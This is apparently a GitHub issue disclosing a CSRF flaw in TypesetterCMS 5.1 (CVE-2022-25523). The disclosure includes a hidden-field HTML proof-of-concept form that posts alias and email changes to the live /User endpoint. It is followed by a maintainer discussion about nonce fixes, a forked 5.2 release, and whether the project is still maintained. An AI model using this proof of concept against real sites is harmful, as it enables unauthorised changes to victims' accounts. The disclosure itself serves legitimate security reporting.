New issue

Jump to bottom

CSRF Vulnerabilities in TypesetterCMS (Version - 5.1) [CVE-2022-25523] #697

Closed **danishtariqq** opened this issue on Mar 23 · 14 comments

danishtariqq commented on Mar 23 • edited

TypesetterCMS v5.1 was discovered to contain a Cross-Site Request Forgery (CSRF) which is exploited via a crafted POST request.

Vulnerability Type
Cross-Site Request Forgery (CSRF)

Vendor of Product
TypesetterCMS

Affected Product Code Base
TypesetterCMS - =5.1 are effected

Affected Component
All the POST requests

Attack Type
Remote

Impact Escalation of Privileges
true

Attack Vector

```
<html>
  <!-- CSRF PoC-->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://www.typesettercms.com/User" method="POST">
      <input type="hidden" name="alias" value="TEST&#43;1" />
      <input type="hidden" name="homepage" value="" />
      <input type="hidden" name="email" value="TEST&#43;1&#64;gmail&#46;com" />
     <input type="hidden" name="cmd" value="Save&#32;Settings" />
```

```
        <input type="hidden" name="verified" value="" />
       <input type="submit" value="Submit request" />
       </form>
     </body>
    </html>
```

Discoverers
Danish Tariq
Ali Hassan Ghori

Reference
http://typesettercms.com
https://www.typesettercms.com/User

danishtariqq commented on Mar 23 — Author

This vulnerability/CVE - https://www.exploit-db.com/exploits/44029 was for admins but my report is for user-level privileges.

gtbu commented on Mar 24 • edited

I tested Your above html - code (pushstate) with Edge (and newest Firefox) at one of my 5.2-sites .../User with result after klick at the button : Not found - The requested page does not exist. Please use the website navigation to reach the existing pages. Opera gives already before a long warning.
(Typesetter5.2+ has now a different ajax and form : < form action="/User" method="post" class="well">< input type="hidden" name="nonce" value="fafcc029e5642290ef1c4c8f8e7fc93eb2205a05142c84db2ce30c6c88ed856aeedb4001ec4f926f1647e52e36b001fbd24342059d2b0b802bf178f61b6a12e3">< div class="form-group">Email Address< /label>....)

- For purists is this site - add to some init.JS in the template - modify the reaction.
- You may also look at githubs's solution.

danishtariqq commented on Mar 24 — Author

@gtbu This vulnerability is present in 5.1 versions and could be patched in 5.2 which is a good thing.

unimol commented on May 17

Last release in August 2017. I think this CMS is dead.

gtbu commented on May 19

For what do You make such a comment ! ? There is a fork at github.com/gtbu which is php8-ready.

unimol commented on May 19

That's correct, but only available as a beta.
Betaversions are generally not suitable for production usage.

I know you are working on a PHP8-ready version, but this repository (from the origin maintainer) is outdated. I am sorry to say that, but that's a fact.

I like Typesetter, its a lightweight, easy to use and fast CMS, but I only want to use releases (which are not in alpha or beta status).

If the maintainer doesn't continuing the work and nobody adopted this project to proceed the engineering - the CMS is dead. This is what it looks like for me. Sorry.

danishtariqq commented on May 19 Author

And unofficial releases are prone to supply chain attacks. ^^

gtbu commented on May 19 • edited

The only known possibility was in the download of plugins and templates (has been fixed in the php8-version in common.php http://www.typesettercms.com' to **https**://www.typesettercms.com') for web-installation. But thats only a theoretical possibility because the hacker must watch the source which tries to download such zips (and the download has a special interface). - and : I never had such problems ! The fix was because of php8.

danishtariqq commented on May 19 Author

I found this issue in an official version - TypesetterCMS - =5.1

Adding this vulnerability here is a must as an open-source contribution so if someone tries to use this version should be aware of this beforehand.

I found this vulnerability on https://www.typesettercms.com/User on March 24, 2022.

gtbu commented on May 19 • edited

Sorry : You are riding on a dead horse : We use Typesetter 5.2+. Of course it would be possible to prevent compromised packages by adding hashes etc..
I have no control over Typesettercms.com - sorry (yes : the download-version there is 5.1 (...) and should be updated to the github - master..

danishtariqq commented on May 19 — Author

Good for you.

The official release yet on the OFFICIAL Typesetter releases page is 5.1 - Kindly visit https://github.com/Typesetter/Typesetter/releases

This issue was created for those who do follow the officially released versions *which is 5.1 as the latest and is eventually vulnerable to Cross-site request forgery.

danishtariqq commented on May 19 — Author

Your fork is good to go but anyone who is using the typesetter repo for this and referring to https://github.com/Typesetter/Typesetter/releases should be aware of this stuff.

There is nothing wrong with sharing vulnerabilities. There is ?

mahotilo commented on May 19 — Contributor

Please change the issue name to point its version dependency

 **danishtariqq** changed the title ~~CSRF Vulnerabilities in TypesetterCMS [CVE-2022-25523]~~ **CSRF Vulnerabilities in TypesetterCMS (Version - 5.1) [CVE-2022-25523]** on May 19

mahotilo commented on May 19 — Contributor

Thx

 **danishtariqq** closed this as completed 20 days ago

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

4 participants